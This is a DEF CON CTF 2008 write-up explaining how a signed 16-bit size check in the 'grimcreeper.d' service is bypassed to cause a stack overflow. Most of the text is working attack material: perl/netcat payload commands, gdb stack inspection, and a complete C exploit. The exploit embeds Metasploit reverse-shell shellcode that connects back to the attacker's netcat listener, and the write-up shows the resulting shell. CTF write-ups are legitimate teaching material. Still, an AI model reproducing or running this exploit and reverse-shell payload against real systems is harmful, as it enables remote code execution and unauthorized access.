Defcon CTF 2008 grimcreemer.d write-up z0nKT1g3r @ WiseguyS http://0xbeefc0de.org 2009. 3. 14. wantstar@wantstar:~/defcon$ nc 75.82.**.** 9001 GrimCreeper v0.01 aaa SIZE TOO BIG! wantstar@wantstar:~/defcon$ After decompiling source code with IDA, I could figure out that it receives four bytes for the size of receiving buffer. It is limited to 0xFFF. If it exceeds 0xFFF, it will throw you an error saying "SIZE TOO BIG!" Then, it receives a byte to choose a function among five. Function # 1:func_fact Tells a fact 2:func_time Tells time 3:func_lies Tells a lie 4:func_echo Echos 5:func_slen Tells a length of a string func_fact and func_lie receive another byte as an option to the function. First, I accused func_echo for being vulnerable. However, it was func_fact that had the vulnerability. Below is a part of what I got from decompiling with IDA. func_fact: ... unsigned __int8 dest; // [sp+14h] [bp-414h]@3 unsigned __int16 v8; // [sp+16h] [bp-412h]@3 char s; // [sp+20h] [bp-408h]@7 ... LOWORD(v5) = 1023; memcpy(&dest, src, 4u); ... v6 = v8; if ( (_WORD)v5 < (signed __int16)v8 ) v6 = v5; ... v10 = dest; if ( v10 == 7 ){ stringNcopy((int)&s, (int)((char *)src + 4), (char **)(signed __int16)v6); result = find_fact_string(fd, &s); ... I suspected that s has a capacity of 0x400. However, it seemed like v6, the size for stringNcopy, could not be altered. After staring at the source code for few hours, I could find out that a call to memcpy could not only copy on dest, but also it would overflow into v8. Also since they check v8 by casting (signed __int16), if we were to have v8 to be set to 0xFFFF, we would be able to by-pass the size checking. (0xFFFF in signed __int16 would be considered negative.) I set up a copy of service on my server. After sending appropriate values, we can see that the service dies without sending back any response. wantstar@wantstar:~/defcon$ (sleep 10;perl -e 'print "\xfe\x0f\x00\x00\x01\x07\xff\xff\x90", "a"x5000')|nc 75.82.**.** 9001 GrimCreeper v0.01 wantstar@wantstar:~/defcon$ So our payload would look like following. Entire Buffer Size 4:[\xfe\x0f\x00\x00] Function Number 1:[\x01] Function Option 1:[\x07] Function Buffer Size 3:[\xff\xff\xff] NOPs 197:[\x90\x90\x90\x90...\x90\x90\x90] Reverse Shell Code 92:[\x31\xc9\x83\xe9\xef\xd9...\x70\x7b\x68\x22\xee\xa8] RETs rest:[aaaa...aaaa] (for now) Our total payload size would be 0xFFE as we stated it at first to entire buffer size. Now we need to find out the address of where our shellcode is located. While the child process of grim was hanging, I attached the process to gdb. (To make the child process to wait, we need to sleep before we insert any values) Attacker's Terminal: wantstar@wantstar:~/defcon$ (sleep 10;perl -e 'print "\xfe\x0f\x00\x00\x01\x07\xff\xff\x90", "a"x5000')|nc 75.82.**.** 9001 GrimCreeper v0.01 Server's Terminal: # ps -aux | grep grim grimcreeper 45209 0.0 0.4 1332 944 ?? Ss 10:47AM 0:00.06 ./grimcreeper.d grimcreeper 46247 0.0 0.4 1332 1016 ?? S 6:25PM 0:00.00 ./grimcreeper.d root 46249 0.0 0.2 536 404 p0 R+ 6:25PM 0:00.00 grep grim # gdb -q ./grimcreeper.d 46247 (no debugging symbols found)...Attaching to program: /root/grimcreeper.d, process 46247 Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /libexec/ld-elf.so.1...(no debugging symbols found)...done. Loaded symbols for /libexec/ld-elf.so.1 0x28102e25 in recvfrom () from /lib/libc.so.6 (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () (gdb) After wondering around the stack, I could figure out where the shellcode was located. (gdb) x/100x 0xbfbfd737 0xbfbfd737: 0x00000000 0x00000000 0x00000700 0xffff0700 0xbfbfd747: 0xff000090 0x0003ff90 0x61616100 0x61616161 0xbfbfd757: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfbfd767: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfbfd777: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfbfd787: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfbfd797: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfbfd7a7: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfbfd7b7: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfbfd7c7: 0x61616161 0x61616161 0x61616161 0x61616161 0xbfbfd7d7: 0x61616161 0x61616161 0x61616161 0x61616161 Now we got the address of buffer, let's try this for real by setting the return address appropriately. Attacker's Terminal: wantstar@owner-desktop:~$ nc -l -p 7622 id Attacker's Terminal#2: wantstar@wantstar:~/defcon$ ./grim =========== Defcon GrimCreeper Exploit by z0nKT1g3r @ WiseguyS =========== Shellcode length: 92 Sending payload... After a second, you will see that the daemon has connected to your port. wantstar@owner-desktop:~$ nc -l -p 7622 id uid=1004(grimcreeper) gid=1004(grimcreeper) groups=1004(grimcreeper) Please send the feedbacks to wantstar@0xbeefc0de.org [grim.exp] =========== #include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { struct sockaddr_in s; struct hostent * he; size_t socklen; int sockfd; char buf[5000]; unsigned int value; int i=0; unsigned int total=0; int r; int offset; long ret=0xbfbfd7d7; /* bsd_ia32_reverse - LHOST=218.153.**.** LPORT=7622 Size=92 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "\x31\xc9\x83\xe9\xef\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8" "\x19\x23\x28\x83\xeb\xfc\xe2\xf4\xb2\x78\x7b\xb1\x8a\x5b\x71\x6a" "\x8a\x71\xf9\xb1\x74\xc8\xee\xa8\xb0\x09\x21\x35\x1e\x90\xc2\x42" "\xc8\x48\x73\x79\x4f\x73\x41\x70\x15\x99\x49\x2a\x81\xa9\x79\x79" "\x8f\x48\xee\xa8\x91\x60\xd5\x78\xb0\x36\x0c\x5b\xb0\x71\x0c\x4a" "\xb1\x77\xaa\xcb\x88\x4d\x70\x7b\x68\x22\xee\xa8"; printf("=========== Defcon GrimCreeper Exploit by z0nKT1g3r @ WiseguyS ===========\n"); printf("Shellcode length: %d\n", strlen(scode)); if ((he = gethostbyname("75.82.**.**")) == NULL){ herror("gethostbyname"); exit(-1); } socklen = sizeof(struct sockaddr); //connect to server memset(&s, 0, sizeof(struct sockaddr_in)); s.sin_family = PF_INET; memcpy(&s.sin_addr,he->h_addr_list[0],sizeof(struct in_addr)); s.sin_port = htons(9001); bzero(&(s.sin_zero), 8); //server socket if ((sockfd = socket(PF_INET,SOCK_STREAM,0))<0){ perror("setup_socket"); exit(-1); } r = connect(sockfd, (struct sockaddr *) &s, (size_t)socklen); if(r==-1){ perror("connect"); exit(-1); } //GrimCreeperv0.1 r=recv(sockfd, &buf, 256,0); if(r<=0){ close(sockfd); printf("RECV ERROR\n"); exit(-1); } //send size 0xffe value=0xffe; //4095 r=send(sockfd,&value,4,0); if(r<=0){ close(sockfd); printf("SEND ERROR1\n"); exit(-1); } //send function number value=1; r=send(sockfd,&value,1,0); if(r<=0){ close(sockfd); printf("SEND ERROR2\n"); exit(-1); } //send function option value=7; r=send(sockfd,&value,1,0); if(r<=0){ close(sockfd); printf("SEND ERROR3\n"); exit(-1); } //payload memset(buf,'\x90',0x1000); //strNcopy size buf[0]='\xff'; buf[1]='\xff'; buf[2]='\xff'; //shellcode memcpy(buf+200, scode, strlen(scode)); offset=200+strlen(scode)+3; for(i=0;i<926;i++){ buf[offset+(i*4)]=(ret >> 0) & 0xff; buf[offset+(i*4)+1]=(ret >> 8) & 0xff; buf[offset+(i*4)+2]=(ret >> 16) & 0xff; buf[offset+(i*4)+3]=(ret >> 24) & 0xff; } printf("Sending payload...\n"); r=send(sockfd,&buf,4096,0); if(r<=0){ close(sockfd); printf("SEND ERROR4\n"); exit(-1); } r=recv(sockfd,&buf,5000,0); if(r<=0){ printf("RECV ERROR\n"); close(sockfd); exit(-1); } close(sockfd); } //end of main __EOF__